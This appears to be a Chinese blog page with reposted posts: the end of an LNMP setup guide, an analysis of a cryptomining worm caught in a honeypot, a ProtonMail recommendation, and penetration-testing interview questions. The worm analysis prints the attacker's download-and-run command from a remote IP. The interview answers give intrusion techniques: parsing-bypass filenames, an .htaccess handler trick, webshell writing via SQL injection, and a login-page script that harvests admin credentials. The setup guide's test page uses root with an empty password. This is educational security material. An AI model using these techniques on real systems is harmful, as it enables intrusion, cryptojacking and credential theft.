# cp /usr/local/src/php-5.6.23/php.ini-production /etc/php.ini
# cd /usr/local/php/etc/
# cp php-fpm.conf.default php-fpm.conf
# sed -i 's@;pid = run/php-fpm.pid@pid = /usr/local/php/var/run/php-fpm.pid@' php-fpm.conf
4、添加php-fpm启动脚本。
# cp /usr/local/src/php-5.6.23/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm
# chmod +x /etc/init.d/php-fpm
5、添加php-fpm至服务列表并设置开机自启。
# chkconfig --add php-fpm     
# chkconfig --list php-fpm     
# chkconfig php-fpm on
6、启动服务。

# service php-fpm start

7、添加nginx对fastcgi的支持,首先备份默认的配置文件。

# cp /etc/nginx/nginx.conf /etc/nginx/nginx.confbak
# cp /etc/nginx/nginx.conf.default /etc/nginx/nginx.conf
编辑/etc/nginx/nginx.conf,在所支持的主页面格式中添加php格式的主页,类似如下:
        location / {
            root   /usr/local/nginx/html;
            index  index.php index.html index.htm;
        }
取消以下内容前面的注释:
       location ~ \.php$ {
            root           /usr/local/nginx/html;
            fastcgi_pass    127.0.0.1:9000;
            fastcgi_index   index.php;
            fastcgi_param  SCRIPT_FILENAME  /usr/local/nginx/html/$fastcgi_script_name;
            include        fastcgi_params;
        }
重新载入nginx的配置文件。

# service nginx reload

在/usr/local/nginx/html/新建index.php的测试页面,内容如下。

# cat index.php 
<?php
$conn=mysql_connect('127.0.0.1','root','');
if ($conn){
  echo "LNMP platform connect to mysql is successful!";
}else{
  echo "LNMP platform connect to mysql is failed!";
}
 phpinfo();
?>

浏览器访问测试,如看到以下内容则表示LNMP平台构建完成。图片3

原文地址:https://help.aliyun.com/document_detail/50700.html



admin 发布于  2017-3-6 20:37 

快上车-高清无码-蠕虫挖矿一例 杂七杂八

给大家分享网络空间里发家致富的一个野路子:蠕虫挖矿,套比特币等虚拟货币。下面这是我们捕获到的真实案例,门开了一条缝,更多的请自行探索,以免有带坏嫌疑。




今天凌晨,我们的蜜网系统跳出了个有趣的字符串:


[email protected]


ProtonMail!前段时间我们的分享(推荐安全且匿名的邮箱 ProtonMail)似乎暗示着某种巧合,这不得不引起我们的兴趣。意料之内,匿名是把双刃剑,剑的另一端,“匿名之恶”会让人性丑恶发挥到极致。


以前我说过,黑暗森林法则同样适用于这个网络空间:被发现即被干掉。不好意思,这次是我们“干掉”了对方。


上面这个字符串完整内容是:


(exec /var/tmp/.war/1 -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p x &> /dev/null &)


我简单解释下这条 Bash 命令:


1.

exec,负责执行后面的命令,细节用途自行查阅。


2.

/var/tmp/.war/1,这个文件由下面这条命令创建:

wget http://95.128.182.166/javascripts/minerd -O /var/tmp/.war/1


3.

1 == minerd


4.

minerd 之后的参数:

-a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p x

目测和比特币等这类货币的挖矿有关,因为:minergate.com 就是这样的邪恶挖矿大平台。合法存在。


5.

&> /dev/null

无视标准输出与错误输出。


6.

最后的 &,表示这条命令放到后台执行。


7.

最外层的小括号(),表示创建一个新的 Shell。


上面的7点解释,重点看第4点就好。


为了确定我们的“目测”,我们用我们唯一的官方邮箱“[email protected]”同样在 minergate.com 上注册了个账号。在这个平台深度体验一番,不得不感慨,挖矿的世界真是眼花缭乱,满地宝藏既视感。


这个平台上,我们发现下面这个挖矿说明链接:


https://minergate.com/altminers/cpuminer-multi-wolf


部分区域截图如下:



红框里的内容是:


minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p x


对比下上面的第4点,这下确定了吧?另外,这个 minerd 本身还是开源的...你可以根据自己的特殊要求修改编译。


好,回到开头,这个蠕虫其实不是什么新鲜玩意,传播的主要方式是通过 Linux 服务器的弱口令及一些漏洞(比如:Redis 那个未授权访问缺陷)。


这个蠕虫感染一万台服务器,那么就有一万个挖矿节点...


别说运用什么 0day,就是用到一些上古时代的技术,我们也能在这个健壮又脆弱的网络空间里成为“有钱人”。


还好,我们不是坏人。




这个案例够清晰吧?还想看到更多的吗?经过“懒人在思考”的白话润色,保证你即使不懂技术,也能涨姿势。


网络空间,这个巨型大脑,真美...

注:转载自余玄大大的微信公众号


admin 发布于  2017-3-6 19:36 

推荐安全且匿名的邮箱 ProtonMail 网络安全

以前,我们一直想寻找安全靠谱的邮箱服务,Gmail 是首选,原因主要有几个:


  1. Google 这个大品牌的背书


  2. 安全确实做得很好,关于这点我们尤其在意前端安全是否做得足够,比如对抗 XSS/CSRF 的策略,这在邮箱攻击里是常用的手法。另外在很多安全细节上很具备前瞻性,如:全域 HTTPS 策略、Cookie 策略、内容分离策略、账号风控策略、图片安全策略、恶意内容对抗策略、等等


  3. 漏洞奖金计划很良心,基本是这种风气的鼻祖


这次,我们推荐的 ProtonMail 邮箱,虽然我们不能保证上面几点达到 Gmail 的层级,但是整体来说,我们还是觉得挺靠谱的,尤其有下面这几个特点。


  1. 开源,这点就已经让人多少放心些


  2. 点对点加密策略,这种对称加密算法几乎可以完美对抗中间人劫持(MITM),包括对 PGP 的支持,在我们看来也是一种很漂亮的方案


  3. 注册再也不需要你的个人任何隐私,比如手机号,这意味着,几乎完全一个匿名邮件是可以的


  4. 服务器坐落在瑞士,一个重视隐私且中立的国家,法律这方面很有保障,服务器的安全建设等级据说也很高


  5. 你可以选择是否开启更强的登陆日志记录,默认不会记录 IP


  6. 也有不错的漏洞奖金计划


  7. 在安全性上,对比我们上面提到 Gmail 的做法,ProtonMail 的做法更加让我们感到惊讶,这种做法能感受到 ProtonMail 在安全及隐私这方面的极致态度。我们这先不展开,因为我们计划去夺一轮漏洞奖金再说


  8. 支持 TOR 网络下的邮件服务,这下真可以做到完全匿名了。不要和我们提黑天鹅事件,我们懂


  9. 有对应移动端的 App


  10. 用户体验也是 ProtonMail 的极致追求


  11. 免费,但是你可以付费得到更好的服务,比如可以自定义域名,如果你想支持 ProtonMail 发展得更好,可以付费升级,也可以捐助


  12. 斯诺登也有在用这个服务...


  13. 创始团队出自大名鼎鼎的 CERN(欧洲核子研究组织),科学家,怪不得命名了 ProtonMail(质子邮箱),TED 及 Wikipedia 上可以看到他们的介绍,包括演讲


之前,我们确实有犹豫是否推荐这个邮箱服务,你们知道,有些东西并不是越多人知道越好,尤其是我朝特殊的情况。但我们相信,进化的步伐是永远不会停止的,我们不需要作恶,但是我们至少需要知道如何对抗很多藏在阴暗处的作恶。


我们这篇推荐不是在给 ProtonMail 做背书,是否使用,看你。


希望 ProtonMail 越来越好,也希望这个互联网越来越好。


ProtanMail 官网:

https://protonmail.com/

TOR地址:https://protonirockerxow.onion/。

注:转载自余玄大大的微信公众号

admin 发布于  2017-3-6 19:22 

一套实用的渗透测试岗位面试题,你会吗? 渗透测试

21.jpg

1.拿到一个待检测的站,你觉得应该先做什么?

  • 收集信息
    whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息另说...

2.mysql的网站注入,5.0以上和5.0以下有什么区别?

  • 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

  • 5.0以下是多用户单操作,5.0以上是多用户多操做。

3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?

  • 丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。

  • 用邮箱做关键词进行丢进搜索引擎。

  • 利用搜索到的关联信息找出其他邮进而得到常用社交账号。

  • 社工找出社交账号,里面或许会找出管理员设置密码的习惯 。

  • 利用已有信息生成专用字典。

  • 观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西。

4.判断出网站的CMS对渗透有什么意义?

  • 查找网上已曝光的程序漏洞。

  • 如果开源,还能下载相对应的源码进行代码审计。

5.一个成熟并且相对安全的CMS,渗透时扫目录的意义?

  • 敏感文件、二级目录扫描

  • 站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

6.常见的网站服务器容器。

  • IIS、Apache、nginx、Lighttpd、Tomcat

7.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

  • root权限以及网站的绝对路径。

8.目前已知哪些版本的容器有解析漏洞,具体举例。

  • IIS 6.0
    /xx.asp/xx.jpg "xx.asp"是文件夹名

  • IIS 7.0/7.5
    默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

  • Nginx
    版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
    空字节代码 xxx.jpg%00.php

  • Apache
    上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

  • lighttpd
    xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

9.如何手工快速判断目标站是windows还是linux服务器?

  • linux大小写敏感,windows大小写不敏感。

10.为何一个mysql数据库的站,只有一个80端口开放?

  • 更改了端口,没有扫描出来。

  • 站库分离。

  • 3306端口不对外开放

11.3389无法连接的几种情况。

  • 没开放3389 端口

  • 端口被修改

  • 防护拦截

  • 处于内网(需进行端口转发)

12.如何突破注入时字符被转义?

  • 宽字符注入

  • hex编码绕过

13.在某后台新闻编辑界面看到编辑器,应该先做什么?

  • 查看编辑器的名称版本,然后搜索公开的漏洞。

14.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

  • 能做的事情很多,用隐藏网马来举例子:
    插入
    <FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>
    .jpg文件会被解析成.php文件。

  • 具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

15.注入漏洞只能查账号密码?

  • 只要权限广,拖库脱到老。

16.安全狗会追踪变量,从而发现出是一句话木马吗?

  • 是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

17.access 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用。

  • 迅雷下载,直接改后缀为.mdb。

18.提权时选择可读写目录,为何尽量不用带空格的目录?

  • 因为exp执行多半需要空格界定参数

19.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

  • 同数据库。

20.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

  • and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

21:某个防注入系统,在注入时会提示:

 系统检测到你有非法注入的行为。
 已记录您的ip xx.xx.xx.xx
 时间:2016:01-23
 提交页面:test.asp?id=15
 提交内容:and 1=1

如何利用这个防注入系统拿shell?

  • 在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:http://ytxiao.lofter.com/post/40583a_ab36540。

22.上传大马后访问乱码时,有哪些解决办法?

  • 浏览器中改编码。

23.审查上传点的元素有什么意义?

  • 有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

24.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

  • 先爆破用户名,再利用被爆破出来的用户名爆破密码。

  • 其实有些站点,在登陆处也会这样提示

  • 所有和数据库有交互的地方都有可能有注入。

25.目标站发现某txt的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

  • 这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

  • 直接在网站二级目录/abc/下扫描敏感文件及目录。

27.在有shell的情况下,如何使用xss实现对目标站的长久控制?

  • 后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

  • 在登录后才可以访问的文件中插入XSS脚本。

28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

  • 审查元素 把密码处的password属性改成text就明文显示了

29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

  • 原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

  • 在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到<hws>内容<hws>

31.在win2003服务器中建立一个 .zhongzi文件夹用意何为?

  • 隐藏文件夹,为了不让管理员发现你传上去的工具。


32、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由: 


A. demo.jsp?id=2+1       B. demo.jsp?id=2-1 
选B,在 URL 编码中 + 代表空格,可能会造成混淆


33、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路? 


demo.do?DATA=AjAxNg== 
DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试


34、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选? 


有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 
使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 
通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell


35、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式? 


XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。 


CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer 
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。


36、CSRF、SSRF和重放攻击有什么区别? 


CSRF是跨站请求伪造攻击,由客户端发起 
SSRF是服务器端请求伪造,由服务器发起 
重放攻击是将截获的数据包进行重放,达到身份认证等目的


37、说出至少三种业务逻辑漏洞,以及修复方式? 


密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码 
身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或 Cookie 即可伪造用户身份 
验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过


38、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?


get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world” 
HTTP/1.1Host:*******.com:82User-Agent:Mozilla/ 5.0 Firefox/40Accept:text/css,*/*;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive 

39、找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?

40、你常用的渗透工具有哪些,最常用的是哪个?

41、描述一个你深入研究过的 CVE 或 POC。

42、谈谈你经常关注的安全平台?


admin 发布于  2017-3-5 08:50